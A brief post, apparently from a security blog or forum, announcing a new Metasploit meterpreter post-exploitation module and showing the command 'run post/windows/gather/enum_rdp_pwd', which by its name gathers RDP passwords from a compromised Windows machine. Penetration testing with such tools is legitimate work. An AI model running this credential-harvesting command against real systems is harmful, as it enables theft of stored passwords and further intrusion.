Just finished a new module for metasploit meterpreter post-exploitation
Once you gain a meterpreter session just run
run post/windows/gather/enum_rdp_pwd
meterpreter > run post/windows/gather/enum_rdp_pwd